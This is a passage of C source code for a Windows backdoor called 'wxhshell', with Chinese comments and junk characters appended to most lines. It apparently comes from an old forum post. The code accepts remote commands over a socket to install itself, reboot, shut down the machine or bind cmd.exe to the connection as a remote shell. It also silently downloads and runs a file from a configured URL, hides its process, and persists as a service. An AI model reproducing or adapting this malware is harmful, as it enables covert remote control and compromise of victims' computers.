    switch(cmd[0]) { LRKl3"M  
  CINC1Ll_24  
  // 帮助 6/l{e)rX2o  
  case '?': { w6@8cNXK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n}toUqUnk\  
    break; ,,CheRO  
  } &b!|Y  
  // 安装 B| .8+Q  
  case 'i': { =`KV),\  
    if(Install()) G_)(?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $\vTiS'  
    else ^eY% T5K   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;/)u/[KAv  
    break;  Mt   
    } >Z!H9]f(  
  // 卸载 2sOetmWE7  
  case 'r': { g"|Z1iy|9  
    if(Uninstall()) 6;%Ajx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \. _TOE9L  
    else OVhtU+r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Olltu"u  
    break; x5"F`T>Y  
    } bYB:Fe=2  
  // 显示 wxhshell 所在路径 ~-K<gT/  
  case 'p': { /4bHN:I]M  
    char svExeFile[MAX_PATH]; z<z\)  
    strcpy(svExeFile,"\n\r"); V;%DS)-  
      strcat(svExeFile,ExeFile); `cn}}1Lg]  
        send(wsh,svExeFile,strlen(svExeFile),0); i[rXs/]  
    break; Lk:Sju  
    } v&}^8j  
  // 重启 ,<,#zG[.  
  case 'b': { Yb=Z `)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .jvRUD8A7  
    if(Boot(REBOOT)) m5\/7 VC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4I7;/ZgALQ  
    else { /I@Dv?  
    closesocket(wsh); }S}9Pm,:  
    ExitThread(0); /Lt Lu  
    } 1 -:{&!  
    break; 'c&S%Ra[3G  
    } p!RyxB1.|  
  // 关机 $hE,BeQ  
  case 'd': { 4}MZB*);0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2%gLq  
    if(Boot(SHUTDOWN))  <6[P5>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z2DjYTm[~  
    else { _1U7@v:<@  
    closesocket(wsh); ebmU~6v k  
    ExitThread(0); E !}~j  
    } o%V%@q H  
    break; {*Tnl-m~  
    } C|H/x\?zRv  
  // 获取shell *7:HO{P>Y  
  case 's': { j/*4Wj[  
    CmdShell(wsh); Q=T/hb  
    closesocket(wsh); CZ.XEMN\  
    ExitThread(0); YpwMfl4  
    break; LG> lj$hO  
  } -naoM  
  // 退出 'Nn>W5#))  
  case 'x': { PAHkF&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d>r_a9 .u  
    CloseIt(wsh); #Y;tobB  
    break; ?VP07 dQTe  
    } H;=++Dh  
  // 离开 RY9h^q*  
  case 'q': { FNB4YZ6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $ ";NS6 1  
    closesocket(wsh); G@I/Dy  
    WSACleanup();  :bBMy\(u  
    exit(1); SXx;- Ws  
    break; mb_~ "}A  
        } 0 $_0T  
  } ;"j>k>tg  
  } _7qGo7bpN  
DP<[Uz&  
  // 提示信息 ts=KAdcJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A57e]2_  
} "5@k\?x"  
  } ._5"FUg  
^,WXvOy  
  return; &R~)/y0]  
} \CDzVO0^  
t9(sSl  
// shell模块句柄 5U5)$K'OA  
int CmdShell(SOCKET sock) /O/pAu>  
{ (HD=m, }  
STARTUPINFO si; )mvD2]fK  
ZeroMemory(&si,sizeof(si)); Tyk\l>S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]<B@g($  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; * M,'F^E2  
PROCESS_INFORMATION ProcessInfo; 2,.;Mdl  
char cmdline[]="cmd"; |ZBHXv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rd^X.  
  return 0; -|aNHZr  
} sUEvL( %nY  
BiI}JEp4o  
// 自身启动模式 yRGv{G[59  
int StartFromService(void) 'X@>U6s  
{ IQya{e  
typedef struct @h$4Mt7N  
{ F4`5z)<*  
  DWORD ExitStatus; ]f< H?  
  DWORD PebBaseAddress; %tC3@S  
  DWORD AffinityMask; ;;; {<GEQ  
  DWORD BasePriority; -D-]tL6w  
  ULONG UniqueProcessId; UxS@]YC  
  ULONG InheritedFromUniqueProcessId; 5^+QTQ  
}   PROCESS_BASIC_INFORMATION; (iO8[  
g (:%E  
PROCNTQSIP NtQueryInformationProcess; bL9EX$P  
?!d\c(5Gt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0z1UF{{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k),!%6\(  
N5Rda2m  
  HANDLE             hProcess; :SD^?.W\iT  
  PROCESS_BASIC_INFORMATION pbi; 7B| #*IZe  
Fy'/8Yv#L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?O!'ZZX  
  if(NULL == hInst ) return 0; '}|sRuftb  
`PVr;&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {u4=*> ?G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s)<^YASg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m\O|BMHn  
d9>k5!  
  if (!NtQueryInformationProcess) return 0; rs?"pGz;  
@M!Wos Rk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c 6"hk_  
  if(!hProcess) return 0; Fs|aH-9\  
lmjoSINy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @ 4%a  
3+` <2TP  
  CloseHandle(hProcess); "spAYk\  
8LZmr|/F*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :6}y gL*i  
if(hProcess==NULL) return 0; A tU!8Z  
L@t}UC  
HMODULE hMod; n fU\l<  
char procName[255]; B}y`E <  
unsigned long cbNeeded; !J@!P?0. C  
/18VQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P pF"n[j  
(g>>   
  CloseHandle(hProcess); +>,4d  
_ Uxt9 X  
if(strstr(procName,"services")) return 1; // 以服务启动 FBCi,_ \4  
,b/qcu_|-  
  return 0; // 注册表启动 O^W.5SaR  
} z%cpV{Nu  
RV2s@<0p  
// 主模块 ci~pM<+  
int StartWxhshell(LPSTR lpCmdLine) 00d<V:Aoy  
{ DL:wiQ  
  SOCKET wsl; B-`,h pp  
BOOL val=TRUE; q\fZ Q  
  int port=0; Vs0T*4C=n  
  struct sockaddr_in door; 5u=(zg  
:UrS@W^B  
  if(wscfg.ws_autoins) Install(); j(*ZPo>oD  
Gj%cU@2  
port=atoi(lpCmdLine); 2V*<HlqOif  
RIDzNdM>U  
if(port<=0) port=wscfg.ws_port; }#3'72  
<E`Ygac  
  WSADATA data; |9X$@R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X$<s@_#1  
n M?mdb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HpD<NVu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A_mVe\(*M  
  door.sin_family = AF_INET; $aFCe}3b<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >#Obhs|S{C  
  door.sin_port = htons(port); bQ3EBJT{P  
b?~%u+'3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O DLRzk(  
closesocket(wsl); bZB7t`C5  
return 1; fA k]]PU  
} #_b U/rk)*  
q4~w D  
  if(listen(wsl,2) == INVALID_SOCKET) { j m]d:=4_  
closesocket(wsl); )zR(e>VX  
return 1; \UF/_'=K  
} }eO{+{D +  
  Wxhshell(wsl); Z"T#"FDIr  
  WSACleanup(); yG`J3++ S  
`<z"BGQ  
return 0; Wt%+q{  
^D=1%@l?#  
} >4.K>U?0FC  
el;eyGa  
// 以NT服务方式启动 #Pf?.NrTn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "GTlJqhk  
{ _8f? H#&  
DWORD   status = 0; VT;Vm3\  
  DWORD   specificError = 0xfffffff; d*e0/#s  
d\_$Nb*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z~S(OM@olJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b85r=tm   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zB?} {@  
  serviceStatus.dwWin32ExitCode     = 0; 122%KS  
  serviceStatus.dwServiceSpecificExitCode = 0; 8-2e4^ g(  
  serviceStatus.dwCheckPoint       = 0; yyj?hR@rZ  
  serviceStatus.dwWaitHint       = 0; w4m)lQM  
<h*r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xDU{I0M  
  if (hServiceStatusHandle==0) return; 4NY}=e5  
>+ P5Zm(_  
status = GetLastError(); jOYa}jm?  
  if (status!=NO_ERROR) ^Pq4 n%x  
{ f[AN=M"B"s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;9+[t8Y)D  
    serviceStatus.dwCheckPoint       = 0; lD%Fk3  
    serviceStatus.dwWaitHint       = 0; h "MiD  
    serviceStatus.dwWin32ExitCode     = status; =Z3{6y}3p  
    serviceStatus.dwServiceSpecificExitCode = specificError;  *XlbD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gtV^6(Y  
    return; ?51Y&gOEZ  
  } !6R;fD#^s  
"zn<\z$l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; * 7<{Xbsj^  
  serviceStatus.dwCheckPoint       = 0; 0I`)<o-  
  serviceStatus.dwWaitHint       = 0; 5 +Ei! E89  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); us ,!U  
} *u i!|;  
v*.[O/,EBR  
// 处理NT服务事件,比如:启动、停止 JjXuy7XQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3u)NkS=  
{ rY~!hZ  
switch(fdwControl) ,#u"$Hz8p  
{ _DlX F  
case SERVICE_CONTROL_STOP: _:B/XZ  
  serviceStatus.dwWin32ExitCode = 0; hLqRF4>L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; co93}A,k  
  serviceStatus.dwCheckPoint   = 0; &tAhRMa  
  serviceStatus.dwWaitHint     = 0; <K(qv^C  
  { t+ ,'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qcy /)4Hfg  
  } LkUYh3  
  return; "}ms|  
case SERVICE_CONTROL_PAUSE: rF3QmR?l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]d4`PXI  
  break; |8bqn^@$t  
case SERVICE_CONTROL_CONTINUE: zA ; 7Nv$3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \I@hDMqv  
  break; ]f3[I3;K  
case SERVICE_CONTROL_INTERROGATE: W7F1o[  
  break; $j+RUelFY  
}; 9?jD90@ }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |2$wJ$ I  
} V>$A\AWw  
?F^$4:  
// 标准应用程序主函数 }f~:>N#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) + Z7 L&BI  
{ ,[} XK9  
,R-T( <r  
// 获取操作系统版本 0gLl>tF[H  
OsIsNt=GetOsVer(); _i/x4,=xv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (mNNTMe  
8(6(,WwP}  
  // 从命令行安装 a7]wPXKq  
  if(strpbrk(lpCmdLine,"iI")) Install(); A>?_\<Gp  
j5rB+  
  // 下载执行文件 am'11a@*  
if(wscfg.ws_downexe) { TbUouoc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qb.Ve7c  
  WinExec(wscfg.ws_filenam,SW_HIDE);  .J0Tn,m  
} iFJ1}0<(x  
R/_bk7o]H  
if(!OsIsNt) { zF)&o}  
// 如果时win9x,隐藏进程并且设置为注册表启动 69 >-  
HideProc(); /S9(rI<'  
StartWxhshell(lpCmdLine); `/"rs@  
} 17 k9h?s*  
else ccdP}|9e  
  if(StartFromService()) :Zs i5>MT  
  // 以服务方式启动 tFi'RRZ  
  StartServiceCtrlDispatcher(DispatchTable); v_ U$jjO1  
else >-%}'iz+  
  // 普通方式启动 @L9C_a  
  StartWxhshell(lpCmdLine); pL& Zcpx  
xy^t_];X  
return 0; '4"9f]:  
}
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只看该作者 1 发表于: 2006-10-10
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